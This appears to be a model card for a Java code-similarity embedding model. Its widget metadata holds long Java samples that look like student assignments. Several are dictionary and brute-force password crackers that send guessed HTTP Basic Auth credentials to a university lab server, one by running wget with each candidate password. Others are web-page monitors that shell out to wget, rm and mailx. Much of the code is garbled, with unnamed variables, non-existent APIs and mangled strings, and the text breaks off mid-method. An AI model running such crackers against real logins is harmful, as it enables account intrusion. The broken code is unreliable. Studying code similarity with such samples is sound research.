Model: buelfhood/SOCO-Java-PLBART-ST
Author: buelfhood
Pipeline: sentence-similarity
Library: sentence-transformers
Tags: sentence-transformers, safetensors, plbart, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:33411, loss:BatchAllTripletLoss, arxiv:1908.10084, arxiv:1703.07737, base_model:uclanlp/plbart-java-cs, base_model:finetune:uclanlp/plbart-java-cs, endpoints_compatible, region:us
Base models (finetune): id: uclanlp/plbart-java-cs
Card metadata: tags: sentence-transformers, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:33411, loss:BatchAllTripletLoss
base_model: uclanlp/plbart-java-cs
widget: source_sentence: 
import java.io.*;
import java.net.*;

public class Copier
{
   private URL target;

   public Copier( String fileName)
   {
      try
      {
         String line;
         BufferedReader ;
	 BufferedWriter bout;
         target = new URL( "http://www.cs.rmit.edu./students");
	 InputStream hm = target.openStream();
	 HttpURLConnection urlcon = ( HttpURLConnection) target.openConnection();
        bf  = new BufferedReader( new InputStreamReader( target.openStream()));
	 bout = new BufferedWriter(new FileWriter(fileName));
         while((line = bf.readLine()) != null)
         {
            bout.write( line+"\n");  
         }
	 
	 bout.print();
      }
      catch( Exception e)
      {
         System.out.println("Something  wrong!  "+e);
         System.exit(0);
      }
   }
   public static void main (String[] args)
   {
      Copier c = new Copier("response.html");
   }
}

         
      

   


 

	

sentences: import java.io.*;
import java.net.*;
import java.util.*;


public class Dictionary
{
	public static void main (String args[])
	{
		
		
        Calendar cal = Calendar.getInstance();
        Date now=cal.getTime();
        double startTime = now.getTime();

		String password=getPassword(startTime);
		System.out.println("The password is " + password);
	}

	public static String getPassword(double startTime)
	{
		String password="";
		int requests=0;

		try
		{
			
			FileReader fRead = new FileReader("/usr/share/lib/dict/words");
			BufferedReader buf = new BufferedReader(fRead);

			password=buf.readLine();

			while (password != null)
			{
				
				if (password.length()<=3)
				{
					requests++;
					if (testPassword(password, startTime, requests))
						return password;
				}

				password = buf.readLine();

			}
		}
		catch (IOException ioe)
		{

		}

		return password;
	}

	private static boolean testPassword(String password, double startTime, int requests)
	{
		try
		{
			
			
			URL url=new URL("http://sec-crack.cs.rmit.edu./SEC/2/");

			HttpURLConnection connection;

    		String userPassword =  ":" + password;

    		
    		String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());

			try
			{
				
				connection = (HttpURLConnection) url.openConnection();
				
				connection.setRequestProperty("Authorization", " " + encoding);

				
				int status=connection.getResponseCode();

				System.out.println(password + requests);

				if (status==200)
				{
					System.out.println("It took " + getTime(startTime) + " milliseconds  find the password.");
					System.out.println(" were " + requests + " requests .");

					return true;
				}

				return false;

			}

			catch (IOException ioe)
			{
				System.out.print(ioe);
				return false;
			}

		}

		catch (IOException MalformedURLException)
		{
			System.out.print("Invalid URL");
			return false;
		}
	}


	private static double getTime(double startTime)
	{
		
		
        Calendar cal = Calendar.getInstance();
        Date now=cal.getTime();
        double endTime = now.getTime();

        return endTime-startTime;

	}

}
, import java.io.*;
import java.net.*;
import java.util.*;
import java.*;


public class WatchDog {


public static final int interval = 79200000;

public static void main(String[] args) {
    WatchDog wd = new WatchDog();
    Thread thread = new Thread();
    URLConnection conn = null;
    DataInputStream data = null;
    DataInputStream in = null;
    String line;
    String lines;
    String buffer = new String();
    String buffers = new String();
    String url = new String("http://www.cs.rmit.edu./students/");
    boolean change;
	try{
	URL myurl = new URL(url);
        conn = myurl.openConnection();
        conn.connect();
        Object content = null;
        
        System.out.println("Connection opened......");
        System.out.println("Retrieving data from URL");
        data = new DataInputStream(new BufferedInputStream(conn.getInputStream()));
        System.out.println(" data from the URL......");
        content = myurl.getContent();
        BufferedReader reader = null;
	reader = new BufferedReader(new InputStreamReader((InputStream) content));

        
        while ((line = data.readLine()) != null)

        {
         System.out.println(line);
         FileWriter outnew = new FileWriter("watchdogresult.html");
         outnew.write(line);
        }
        System.out.println("Waiting for any change....");
        thread.sleep(79200000);
        conn = myurl.openConnection();
        conn.connect();
        in = new DataInputStream(new BufferedInputStream(conn.getInputStream()));
        while ((lines = in.readLine()) != null)
        {

	 FileWriter newf = new FileWriter("watchdogresult.tmp");
         newf.write(buffers);
        }
	change = true;
        if(change);
        else{
	change = false;
        
	wd.mail();
	}
}
 catch (InterruptedException e) {}
  catch (IOException e) {
    e.printStackTrace();
    String r = new String(e.getMessage());
    if ( r != null)
    {
     System.out.println("Message :" +r);
    }
     else
     System.out.println("Other problems");
    }
 }


public void mail(){

      try {

      String from = new String("Watchdog Reporter");
      String email = new String("@cs.rmit.edu.");
      String subject = new String(" is a change in ");

      
      URL u = new URL("mailto:" + email);
      URLConnection c = u.openConnection();
      c.setDoInput(false);
      c.setDoOutput(true);
      System.out.println("Connecting...");
      System.out.flush();
      c.connect();
      PrintWriter out =
        new PrintWriter(new OutputStreamWriter(c.getOutputStream()));

      
      out.println("From: \"" + from + "\" <" +
                  System.getProperty("user.name") + "@" +
                  InetAddress.getLocalHost().getHostName() + ">");
      out.println(": "  );
      out.println("Subject: " + subject);
      out.println();  

      
      String line = new String("Watchdog observe that  is a change in the web  .");
      out.close();
      System.out.println("Message sent.");
      System.out.flush();
    }
    catch (Exception e) {
      System.err.println(e);
      }

  }

}

, 



 


class BasicAuth {

    public BasicAuth() {}


    private static byte[] cvtTable = {
        (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E',
        (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J',
        (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O',
        (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T',
        (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y',
        (byte)'Z',
        (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e',
        (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j',
        (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o',
        (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t',
        (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y',
        (byte)'z',
        (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4',
        (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9',
        (byte)'+', (byte)'/'
    };

    static String encode(String name,
                         String passwd) {
        byte input[] = (name + ":" + passwd).getBytes();
        byte[] output = new byte[((input.length / 3) + 1) * 4];
        int ridx = 0;
        int chunk = 0;

        for (int i = 0; i < input.length; i += 3) {
            int left = input.length - i;


            if (left > 2) {
                chunk = (input[i] << 16)|
                        (input[i + 1] << 8) |
                         input[i + 2];
                output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
                output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
                output[ridx++] = cvtTable[(chunk&0xFC0)   >> 6];
                output[ridx++] = cvtTable[(chunk&0x3F)];
            } else if (left == 2) {

                chunk = (input[i] << 16) |
                        (input[i + 1] << 8);
                output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
                output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
                output[ridx++] = cvtTable[(chunk&0xFC0)   >> 6];
                output[ridx++] = '=';
            } else {

                chunk = input[i] << 16;
                output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
                output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
                output[ridx++] = '=';
                output[ridx++] = '=';
            }
        }
        return new String(output);
    }
}, source_sentence: 
import java.io.*;

public class Dictionary
{
   
   public static void main(String args[])throws Exception
   {
        String s = null;
        String pass="";
        int at=0;
        String strLine="";
        int i=0;

        BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
        
        start =System.currentTimeMillis();
        try
        {
             while((pass=strLine = in.readLine()) != null)
             {
                
                if(pass.length()==3)
                {

                     System.out.println(pass);
                     at++;
                     
                     Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php");
                     p.waitFor();
                     i = p.exitValue();

                     if(i==0)
                     {
                              finish=System.currentTimeMillis();
                             
                             float time=finish-start;

                             System.out.println("PASSWORD CRACKED:"+ pass + " in " + at + " attempts " );
                             System.out.println("PASSWORD CRACKED:"+ pass + " in " + time + " milliseconds " );
                             System.exit(0);
                     }


                     BufferedReader stdInput = new BufferedReader(new
                      InputStreamReader(p.getInputStream()));

                     BufferedReader stdError = new BufferedReader(new
                      InputStreamReader(p.getErrorStream()));

                     

                     System.out.println("Standard output of the command ");
                     while ((s = stdInput.readLine()) != null)
                     {
                           System.out.println(s);
                     }

                     
                     System.out.println("Standard error of the command ");
                     while ((s = stdError.readLine()) != null)
                     {
                        System.out.println(s);
                     }
               }
          }
            System.exit(0);
        }
        catch (IOException e)
        {
            System.out.println("Exception happened ");
            e.printStackTrace();
            System.exit(-1);
        }
    }
}
sentences: import java.net.*;
import java.util.*;

public class BruteForce {

   public static void main(String[] args) {
      new CrackAttempt();
   }
}

class CrackAttempt {
   public CrackAttempt() {
      final int MAX_LENGTH = 3;
      boolean auth = false;
      Date  = new Date();
      boolean morePasswords = true;
      int passPtr = 0;
      StringBuffer validChars = new StringBuffer("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
      char[] password = new char[MAX_LENGTH];

      password[0] = validChars.charAt(0);
      while (!auth && morePasswords) {
         String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";
         try {
            
            Authenticator.setDefault(new CrackAuth(password));
            URL url = new URL(resource);
            HttpURLConnection conn = (HttpURLConnection)url.openConnection();
            conn.setRequestMethod("HEAD");
            if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
               System.out.println("cracked with " + new String(password));
               auth = true;
            }
         } catch (Exception e) {
            System.out.println(" was  exception: " + e.getMessage());
         }
         int count = passPtr;
         while (true) {
            if (password[count] == validChars.charAt(validChars.length() - 1)) {
               password[count] = validChars.charAt(0);
               count--;
            } else {
               password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);
               break;
            }
            if (count < 0) {
               
               if (passPtr < MAX_LENGTH - 1) {
                  passPtr++;
                  password[passPtr] = validChars.charAt(0);
               } else {
                  morePasswords = false;
               }
               break;
            }
         }
         
      } 
      if (!auth) {
         System.out.println("Unable  determine password");
      } else {
          time = (new Date()).getTime() - start.getTime();
         System.out.println("it took " + String.valueOf(time) + " milliseconds  crack the password");
      }
   }
}

class CrackAuth extends Authenticator {
   char[] password;
   public CrackAuth(char[] password) {
      this.password = password;
   }

   protected PasswordAuthentication getPasswordAuthentication()
   {
      String user = "";
      return new PasswordAuthentication(user, password);
   }
}
, import java.net.*;
import java.io.*;


public class EmailClient
{
	private String sender, recipient, hostName;

	public EmailClient(String nSender, String nRecipient, String nHost)
	{
		sender = nSender;
		recipient = nRecipient;
		hostName = nHost;
	}

	public void sendMail(String subject, String message)
	{
		try
		{
			Socket s1=null;
			InputStream	is = null;
			OutputStream os = null;

			DataOutputStream  = null;

			s1 = new Socket(hostName,25);
			is = s1.getInputStream();
			os = s1.getOutputStream();

			bd = new DataOutputStream(os);

			BufferedReader response = new BufferedReader(new InputStreamReader(is));

			bd.writeBytes("HELO "+ InetAddress.getLocalHost().getHostName() + "\r\n");

			waitForSuccessResponse(response);

			bd.writeBytes("MAIL FROM:"+sender+"\n");

			waitForSuccessResponse(response);

			bd.writeBytes("RCPT :"+recipient+"\n");

			waitForSuccessResponse(response);

			bd.writeBytes("data"+"\n");

			bd.writeBytes("Subject:"+subject+"\n");

			bd.writeBytes(message+"\n.\n");

			waitForSuccessResponse(response);
		}

		catch (UnknownHostException badUrl)
		{
			System.out.println("Host unknown.");
		}

		catch (EOFException eof)
		{
			System.out.println("<EOF>");
		}
		catch (Exception e)
		{
			System.out.println("got exception: "+e);
		}
	}

	private static void	waitForSuccessResponse(BufferedReader response) throws IOException
	{
		String rsp;
		boolean r250 = false;

		while( ! r250 )
		{
			rsp = response.readLine().trim();

			if(rsp.startsWith("250"))
				r250 = true;
		}

	}
}, 



import java.io.*;
import java.net.*;

public class WatchDog
{
   public static void main(String args[]) throws InterruptedException, MalformedURLException, IOException
   {
      final String fullurl = "http://www.cs.rmit.edu./students/";
      final int waitperiod = 1000*60*60*24;
      final String email = "@cs.rmit.edu.";
       lastmodified = 0;
       lastmodifiedsave = 0;
      boolean first = true;
      URL url = new URL(fullurl);
      while(true)
      {
         URLConnection uc = url.openConnection();
         lastmodified = uc.getLastModified();
         if(first)
         {
            
            lastmodifiedsave = lastmodified;
            first = false;
            Execute ex1 = new Execute("wget -q -nc -O  "+fullurl);
         }
         
         if(lastmodified != lastmodifiedsave)
         {
            lastmodifiedsave = lastmodified;
            
            Execute ex2 = new Execute("mv  .old");
            
            Execute ex3 = new Execute("wget -q -nc -O  "+fullurl);
            Execute ex4 = new Execute("echo \"The  "+fullurl+" was modified, here  the modifications:\" > pagediff");
            
            Execute ex5 = new Execute("diff  .old >> pagediff");
            
            Execute ex6 = new Execute("mailx -s \" modification\" \""+email+"\" < pagediff");
            System.out.println("Modification notice! Check your mail.");
         }
         
         
         Thread.sleep(waitperiod);
      }
   }
}
, source_sentence: 


import java.io.*;
import java.util.*;
import java.*;
import java.net.*;

public class WatchDog
{

   static Process p = null;
   static Process qproc = null;

   static BufferedReader bf = null;
   static StringTokenizer tok = null;

   static String Path = null;
   static String str = null;
   static String urlStr=null;
   static boolean changed = false;

   static File indexfile = new File("index.html");
   static File tmpfile = new File("tmpindex.html");
   static File mdfile = new File("md5file.txt");
   static File tmpmdfile = new File("tmpmd5file.txt");
   static PrintWriter mailwriter = null;


   public static void main(String[] args) 
   {

      urlStr = "http://www.cs.rmit.edu./";

      try
      {
         
         mailwriter = new PrintWriter(new BufferedWriter(new FileWriter("tomail.txt", false)));

         getLatest(urlStr);
         parseFile(); 

         mailwriter.read();

         if(changed)
         {
            System.out.println("Sending Mail");
            p = Runtime.getRuntime().exec("./mailscript");
            p.waitFor();

         }
         else
            System.out.println(" mail sent");

      }  catch (IOException ioe)
         {
            System.out.println("IOException");
            ioe.printStackTrace();
         }
         catch (InterruptedException intex)
         {
            System.out.println("Interrupted Exception");
            intex.printStackTrace();
         }


   }


   static void getLatest(String urlStr)
   { 
      
      URL url = null;
      
      try
      {
         url = new URL(urlStr);

      } catch (MalformedURLException mfurl)
        {
           System.out.println("Malformed URL");
           mfurl.printStackTrace();
        }

      try
      {
         mailwriter.println();

         p = Runtime.getRuntime().exec("/usr//pwd"); 
         p.waitFor();
         bf= new BufferedReader(new InputStreamReader(
                          p.getInputStream()));

         Path=bf.readLine();

         if (indexfile.exists())
         {
            mailwriter.println("File with name 'index.html' found in directory.");
            mailwriter.println("Renaming existing 'index.html'  'tmpindex.html...");
            p = Runtime.getRuntime().exec("/usr//mv "+indexfile+ " " + Path+"/"+tmpfile);
            p.waitFor();
            p = Runtime.getRuntime().exec("/usr//mv "+mdfile+ " " + Path+"/"+tmpmdfile);
            mailwriter.println();
            mailwriter.println("File with name 'md5file.txt' found in directory.");
            mailwriter.print("Renaming existing 'md5file.txt'  'tmpmd5file.txt...");

            mailwriter.println(".");

            mailwriter.println();
         }

         mailwriter.println("Downloading current version of site - " + urlStr);
         p = Runtime.getRuntime().exec("/usr/local//wget "+url);
         p.waitFor();
         if (!tmpfile.exists())
         {
            mailwriter.println("File - " + urlStr + "index.html saved  disk for the first time.");
         }


      } catch (IOException ioe)
        {
           System.out.println("IOException");
           ioe.printStackTrace();
        }
        catch (IndexOutOfBoundsException iobe)
        {
           System.out.println("Index Out Of Bounds Exception");
           iobe.printStackTrace();
        }
        catch (Exception e)
        {
           System.out.println("Exception");
           e.printStackTrace();
        }
   }

   static void parseFile()
   {

      Vector imgVect = new Vector();

      try
      {
         p = Runtime.getRuntime().exec("/usr//grep img " + Path + "/"+ indexfile);
         p.waitFor();
         bf= new BufferedReader(new InputStreamReader(
                          p.getInputStream()));

         while((str=bf.readLine())!=null)
         {
            bf = new StringTokenizer(str, "\"", false);
          
            while(bf.hasMoreTokens())
            {
               str=bf.nextToken();
               if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
                  imgVect.addElement(str);
            }
           
         }

      }catch (IOException ioe)
        {
           System.out.println("IOException");
           ioe.printStackTrace();
        }
        catch (Exception e)
        {
           System.out.println("Exception");
           e.printStackTrace();
        }

        mailwriter.println("Creating file with md5sums of the webpage and images...");
        md5Create(imgVect);

   }

   static void md5Create(Vector imgVect)
   {
      String tmpString = null;
      Vector imgNames = new Vector();

      try
      {
         PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false)));
 
         p=Runtime.getRuntime().exec("/usr/local//md5sum "+indexfile);
         p.waitFor();
         bf= new BufferedReader(new InputStreamReader(
                          p.getInputStream()));
         pr.println(bf.readLine());
   
         for(int i=0; i<imgVect.size();i++)
         {
            imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))), i);
            imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))), i);

            p=Runtime.getRuntime().exec("/usr/local//md5sum "+(String)imgNames.elementAt(i));
            p.waitFor();
            bf= new BufferedReader(new InputStreamReader(
                          p.getInputStream()));
            pr.println(bf.readLine());
            rmImgFile(Path+"/"+(String)imgNames.elementAt(i));
         }
         pr.get();

      }  catch (IOException ioe)
         {
            System.out.println("IOException");
            ioe.printStackTrace();
         }
         catch (InterruptedException intex)
         {
            System.out.println("Interrupted Exception");
            intex.printStackTrace();
         }

      if (tmpmdfile.exists())
         compVersions((imgVect.size())+1);

   }

   static void compVersions(int numlines)
   {

      int tmp = 0;
      int x = 0;
      String[] md5A = new String[numlines];
      Vector tmpmd5V = new Vector(); 
                                     
                                     
      String[] tmpmd5A = null;
      StringTokenizer stoken  = null;
      String mdImgName = null;
      String mdImgVal = null;
      String tmpImgName = null;
      String tmpImgVal = null;

      try
      {

         bf = new BufferedReader(new FileReader(mdfile));

         while((str = bf.readLine()) != null)
         {
            md5A[tmp]=str;
            tmp++;
         }

          bf= new BufferedReader(new FileReader(tmpmdfile));
         tmp=0;

         while ((str = bf.readLine()) !=null)
         {
            tmpmd5V.addElement(str);
            tmp++;
         }

         tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]);   

         if (tmpmd5A[0].compareTo(md5A[0]) != 0)
         {
            mailwriter.println("---The file index.html has changed.---");
            mailwriter.println("-Diff of old and new -");
            changed=true;
            mailwriter.println();
            p=Runtime.getRuntime().exec("/usr/local//diff index.html tmpindex.html");
            p.waitFor();
            bf = new BufferedReader(new InputStreamReader(p.getInputStream()));

            while ((str = bf.readLine()) != null)
               mailwriter.println(str);

         }
         else
         {
            mailwriter.println("The file index.html hasn't changed.");
            mailwriter.println();
         }

         mailwriter.println();
         mailwriter.println("Changes  Images");
         mailwriter.println("-----------------");


         

         for (tmp=1; tmp<md5A.length; tmp++) 
         {
            stoken = new StringTokenizer(md5A[tmp]);
            mdImgVal = stoken.nextToken();
            mdImgName = stoken.nextToken();
            for (x=1; x<tmpmd5A.length; x++)
            {
               stoken = new StringTokenizer(tmpmd5A[x]);
               tmpImgVal = stoken.nextToken();
               tmpImgName = stoken.nextToken();

               if (mdImgName.compareTo(tmpImgName) == 0)
               {
                  if(mdImgVal.compareTo(tmpImgVal) == 0)
                  {
                     
                     break;
                  }
                  else
                  {
                     mailwriter.println("The image "+mdImgName+" has changed.");
                     changed=true;
                     break;
                  }
               }
               if (x == ((tmpmd5A.length)-1))
               {
                  mailwriter.println("The image "+mdImgName+" is  new  this ");
                  changed=true;
               }
            }
         }

         for (tmp=1; tmp<tmpmd5A.length; tmp++) 
         {
            stoken = new StringTokenizer(tmpmd5A[tmp]);
            tmpImgVal = stoken.nextToken();
            tmpImgName = stoken.nextToken();
            for (x=1; x<md5A.length; x++)
            {
               stoken = new StringTokenizer(md5A[x]);
               mdImgVal = stoken.nextToken();
               mdImgName = stoken.nextToken();
               if (tmpImgName.compareTo(mdImgName) == 0)
               {
                  break;
               }
               if (x == ((md5A.length)-1))
               {
                  mailwriter.println("The image "+tmpImgName+" is   longer  the ");
                  changed=true;
               }
            }
         }


      } catch(IOException ioe)
         {System.out.println("IOException");
          ioe.printStackTrace();
         }
        catch(InterruptedException iex)
         {System.out.println("Interrupted Exception");
         iex.printStackTrace();
         }

   }


   static Object getFullPath(String fname)
   {
      

      if(fname.charAt(0)== '/') 
         fname=urlStr+fname;  
      else if(fname.charAt(0) != 'h')
         fname=urlStr+'/'+fname;

      getImgFile(fname);

      return (Object)fname; 
   }

   static void getImgFile(String fullPath)
   {
      

      try
      {
         qproc=Runtime.getRuntime().exec("/usr/local//wget "+fullPath);
         qproc.waitFor();

      } catch (IOException ioe)
        {
           System.out.println("IOException");
           ioe.printStackTrace();
        }
        catch (InterruptedException intex)
        {
           System.out.println("Interrupted Exception");
           intex.printStackTrace();
        }
   }

   static void rmImgFile(String delpath)
   {
      

      try
      {
         qproc=Runtime.getRuntime().exec("/usr//rm "+ delpath);
         qproc.waitFor();

      } catch (IOException ioe)
        {
           System.out.println("IOException");
           ioe.printStackTrace();
        }
        catch (InterruptedException intex)
        {
           System.out.println("Interrupted Exception");
           intex.printStackTrace();
        }
   
   }

   static Object getImgNames(String prsName)
   {
          
  
     String str = new StringTokenizer(prsName, "/", false);

      while(bgf.hasMoreTokens())
      {
         str=bgf.nextToken();
         if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
            prsName=str;
      }
      return (Object)prsName;
   }
}

sentences: 	


import java.io.*;
import java.net.*;

import java.util.*;

import java.misc.BASE64Encoder;

public class Dictionary {

  private String userId;
  private String password;

	ReadDictionary myWords = new ReadDictionary();

  public Dictionary() {

	
	myWords.openFile();

    
    Authenticator.setDefault (new MyAuthenticator());
	
	
  }

  public String fetchURL (String urlString) {


	StringBuffer sb = new StringBuffer();
	HttpURLConnection connection;
	Date startTime, endTime;
	int responseCode = -1;
	boolean retry = true;	
	
    URL url;
	startTime = new Date();
	
    System.out.println (" time :" + startTime);

	while (retry == true)
	{
	
	    try {

			url = new URL (urlString);

			connection = (HttpURLConnection)url.openConnection();

			setUserId("");
			setPassword("rhk8611");

			System.out.println("Attempting  get a response : " +connection.getURL() );
			responseCode = connection.getResponseCode();
			System.out.print(responseCode + " ");

			if (responseCode == HttpURLConnection.HTTP_OK) 
			{
				retry = false;
				System.out.println("**** ACCESS GRANTED *****");
			} else
			{
				retry = true;
				throw new IOException(
					"HTTP response : " + String.valueOf(responseCode) + 
					"\nResponse Message: " +connection.getResponseMessage() );
			}

			InputStream content = (InputStream)url.getContent();
			BufferedReader in   = 
			new BufferedReader (new InputStreamReader (content));
			String line;
				while ((line = in.readLine()) != null) {
					sb.append (line);
				}
			} catch (MalformedURLException e) {
				
				retry=false;
				System.out.println ("Invalid URL" + e.getMessage());
			} catch (IOException e) {
				
				retry=true;
				connection = null;
				System.out.println ("Error  URL \n" + e.getMessage());
			}
		}	
		endTime = new Date();
		System.out.println ("Total time taken (Sec) :" + (endTime.getTime() - startTime.getTime())/1000);
		
		
	return sb.toString();
  }


  public static void main (String args[]) {
	Dictionary myGenerator = new Dictionary();
	
String pageFound = myGenerator.fetchURL("http://sec-crack.cs.rmit.edu./SEC/2/");
		
	System.out.println(" ACCESSED ->\n" + pageFound);
  }

  class MyAuthenticator extends Authenticator {
    protected PasswordAuthentication getPasswordAuthentication()
	{
		String username = getUserId();
		String pass = myWords.readLine();	

	  System.out.println(" Authenticating with -> " + pass);

	  return new PasswordAuthentication (username, pass.toCharArray());
	  
    }
  }
	
	public String getPassword()
	{
		return this.password;
	}

	public void setPassword(String password)
	{
		this.password = password;
	}

	
	public String getUserId()
	{
		return this.userId;
	}

	public void setUserId(String userId)
	{
		this.userId = userId;
	}




}  


, package java.httputils;

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.OutputStream;


public class WatchDog
{
    protected final int MILLIS_IN_HOUR = (60 * 60 * 1000);
    protected int interval = 24;
    protected String URL = "http://www.cs.rmit.edu./students/";
    protected String fileName = "WatchDogContent.html";
    protected String command = "./alert_mail.sh";
    protected String savedContent;
    protected String retrievedContent;

    
    public WatchDog()
    {
        super();
    }

    
    public void run() throws Exception
    {
        HttpRequestClient client = null;
        
        
        System.out.println(getClass().getName() +
                        "Retrieving baseline copy of: " + getURL());
        client = new HttpRequestClient(getURL());
        retrievedContent = client.getContent().toString();

        System.out.println(getClass().getName() +
                        "Writing baseline content : " + getFileName());
        writeFile();

        while (true)
        {
            
            System.out.println(getClass().getName() +
                            " Sleeping for hours: " + getInterval());
            Thread.currentThread().sleep(MILLIS_IN_HOUR * getInterval());

            
            System.out.println(getClass().getName() +
                            " Retrieving: " + getURL());

            client = new HttpRequestClient(getURL());
            retrievedContent = client.getContent().toString();

            
            System.out.println(getClass().getName() +
                            "  saved copy: " + getURL());
            savedContent = readFile();

            
            System.out.println(getClass().getName() +
                            " Comparing saved and retrieved. ");
            if (!savedContent.equals(retrievedContent))
            {
                
                System.out.println(getClass().getName() +
                                " Difference found. ");

                writeTempFile();
                runCommand();
            }

            
            writeFile();
        }
    }


    
    public String runCommand()
    {
        String cmd = getCommand() + " \"" + getURL() + "\"";
        try
        {
            Runtime r = Runtime.getRuntime();
            System.out.println(getClass().getName() +
            " Executing: " + cmd);

            Process proc = r.exec(cmd);
        }
        catch (Exception e)
        {
            try
            {
                Runtime r = Runtime.getRuntime();
                Process proc = r.exec(cmd);
            }
            catch (Exception ex)
            {
                System.out.println(getClass().getName()
                    + " Could not run :"
                    + getCommand()
                    + " because : "
                    + ex.getMessage());
            }
        }

        return "Executed successfully";
    }

    
    protected String readFile() throws FileNotFoundException
    {
        BufferedInputStream input = null;
        FileInputStream file = null;
        StringBuffer content = new StringBuffer();
        try
        {
            file = new FileInputStream(getFileName());
            
            input = new BufferedInputStream(file);
            
        }
        catch (FileNotFoundException x)
        {
            System.err.println("File not found: " + getFileName());
            throw x;
        }

        try
        {
            int ch;
            while ((ch = input.get()) != -1)
            {
                content.append((char)ch);
            }
        }
        catch (IOException x)
        {
            x.printStackTrace();
        }
        finally
        {
            if (input != null)
            {
                try
                {
                    input.get();
                    file.get();
                }
                catch (IOException e)
                {
                }
            }
        }
        return content.toString();
    }

    
    protected void writeFile() throws Exception
    {
        OutputStream os = null;
        try
        {
            os = new BufferedOutputStream(
                     new FileOutputStream(getFileName(), false));
            os.write(getRetrievedContent().getBytes());
        }
        catch (FileNotFoundException e)
        {
            e.printStackTrace();
            throw e;
        }
        catch (IOException e)
        {
            e.printStackTrace();
            throw e;
        }
        finally
        {
            if (os != null)
            {
                try
                {
                    os.close();
                }
                catch (IOException e)
                {
                }
            }
        }
    }

    
    protected void writeTempFile() throws Exception
    {
        OutputStream os = null;
        try
        {
            os = new BufferedOutputStream(
                     new FileOutputStream(".html", false));
            os.write(getRetrievedContent().getBytes());
        }
        catch (FileNotFoundException e)
        {
            e.printStackTrace();
            throw e;
        }
        catch (IOException e)
        {
            e.printStackTrace();
            throw e;
        }
        finally
        {
            if (os != null)
            {
                try
                {
                    os.close();
                }
                catch (IOException e)
                {
                }
            }
        }
    }

    public static void main(String[] args)
    {
        WatchDog watchDog = new WatchDog();

        if (args.length < 3)
        {
            watchDog.printUsage();
        }

        
        System.out.println(watchDog.getClass().getName() +
                        ": Initialising with " +
                        args[0] + " \n" +
                        args[1] + " \n" +
                        args[2] + " \n");
        watchDog.setURL(args[0]);
        watchDog.setInterval(Integer.parseInt(args[1]));
        watchDog.setCommand(args[2]);

        
        try
        {
            System.out.println(watchDog.getClass().getName() + ": Invoking the run method.");
            watchDog.run();
        }
        catch (Exception e)
        {
            e.printStackTrace();
        }
    }

    public String printUsage()
    {
        StringBuffer s = new StringBuffer();

        s.append("** WatchDog proper usage **\n\n");
        s.append(
            this.getClass().getName() +
            " <URL> <interval> <Command  execute>\n\n");

        return s.toString();
    }

    
    public String getCommand()
    {
        return command;
    }

    
    public String getFileName()
    {
        return fileName;
    }

    
    public int getInterval()
    {
        return interval;
    }

    
    public String getURL()
    {
        return URL;
    }

    
    public void setCommand(String string)
    {
        command = string;
    }

    
    public void setFileName(String string)
    {
        fileName = string;
    }

    
    public void setInterval(int i)
    {
        interval = i;
    }

    
    public void setURL(String string)
    {
        URL = string;
    }

    
    public String getRetrievedContent()
    {
        return retrievedContent;
    }

    
    public String getSavedContent()
    {
        return savedContent;
    }

    
    public void setRetrievedContent(String string)
    {
        retrievedContent = string;
    }

    
    public void setSavedContent(String string)
    {
        savedContent = string;
    }

}
, 

import java.awt.*;
import java.util.*;
import java.net.*;
import java.io.*;
import java.*;

 
public class BruteForce 
{
    public final char [ ]  letter = {
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
        'w', 'x', 'y', 'z'};			  


    public static void main(String args[]) throws Exception
    {
       
        String urlPath = null;
        
        if(args.length > 0)
        {
            urlPath = args[0];
            System.out.println("URL " + urlPath);
            BruteForce bForce = new BruteForce(urlPath);            
        }
        else{
            System.out.println("Please enter URL at command prompt");
            System.out.println("eg. >java BruteForce http://sec-crack.cs.rmit.edu./SEC/2/");
        }

        System.exit(0);

    }

    
    public BruteForce(String urlPath) throws Exception
    {
        linkToWeb(urlPath);

    }

    public boolean linkToWeb(String urlPath) throws Exception
    {
        HttpURLConnection connection;
